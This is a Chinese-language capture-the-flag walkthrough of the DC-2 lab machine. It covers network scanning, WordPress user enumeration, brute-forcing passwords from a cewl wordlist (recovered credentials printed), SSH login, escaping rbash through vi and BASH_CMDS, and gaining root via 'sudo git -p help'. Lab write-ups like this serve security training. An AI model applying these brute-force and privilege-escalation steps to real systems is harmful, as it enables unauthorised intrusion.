DC-2靶机

扫描网段中存活IP

wine ./fscan.exe -h 192.168.56.0/24

确定靶机IP为： 192.168.56.101

扫描靶机开放的端口

nmap -p- 192.168.56.101

80–http

7744–ssh

访问一下，发现进不去。

修改配置文件，以dc-2的域名访问，就可以进去

vim /etc/hosts

再次访问

扫描目录

dirsearch -u http://dc-2/ -e * -x 403 404

-u接网站地址

-e后接语言，可选php，asp，*（表示全部语言）等

-x表示过滤的状态码，扫描出来后不显示该状态

找到flag1

标志1:你通常的单词表可能不起作用，所以，也许你只需要保持清醒。密码越多越好，但有时你就是无法赢得所有的密码。以一个人的身份登录以查看下一个标志。如果找不到，请以另一个用户登录。

提示：“Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.”

意思应该就是用cewl

扫描一下账户信息

Wordpress有一个著名的扫描工具wpscan

wpscan --url http://dc-2 -e u

Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。

cewl http://dc-2 -w pwd.txt

将三个用户放到一个用户字典里面，利用wpscan进行密码爆破

touch user.txt

vim user.txt

cat user.txt

wpscan -u http://dc-2 -U user.txt -P pwd.txt

jerry：adipiscing

tom：parturient

尝试登录

登录之后找到flag2

Flag2：如果你不能利用WordPress并走捷径，还有另一种方法。希望你找到了另一个入口。

和我们说WordPress找不到其他东西了

然后就想起来了前面还有个ssh改端口的改成了7744

然后也了个WordPress的账号密码，可以尝试登录下

jerry试了3次都不行怀疑人生。

然后就用tom测试 发现可以登录

发现命令不能用，被rbash限制了

查看可以使用的指令

compgen -c

发现有一个vi

看一下

vi flag3.txt

Flag3：文件操作编辑查看帮助可怜的老汤姆总是追着杰瑞跑。也许他应该为他所造成的压力而死

rbash提权

法一：vi设置shell

vi随便打开文件 再下面添加

:set shell=/bin/sh

:shell

已经升级为bash了，无法执行cat命令是因为环境变量的问题，用命令添加一下两条路径即可

export PATH=$PATH:/bin/exportPATH=$PATH:/usr/bin/

法二：BASH_CMDS设置shell

BASH_CMDS[x]=/bin/bash—#设置了个x变量shell

x—#相当于执行shell

继续添加一下环境变量即可

export PATH=$PATH:/bin/exportPATH=$PATH:/usr/bin/

部分提权成功！！！

进入jerry用户发现flag4

Flag4：很高兴看到你已经走了这么远——但你还没有到家。你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。:-）走吧，离开这里!!!

git提权

su jerry

先查询一下具有SUID的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

没有能利用的

还是继续用git提权

sudo -l

发现git能执行root权限

接下来进行提权

sudo git -p help

回车然后输入

!/bin/bash

回车 输入whoami 发现已经变成了root权限

找到final-flag.txt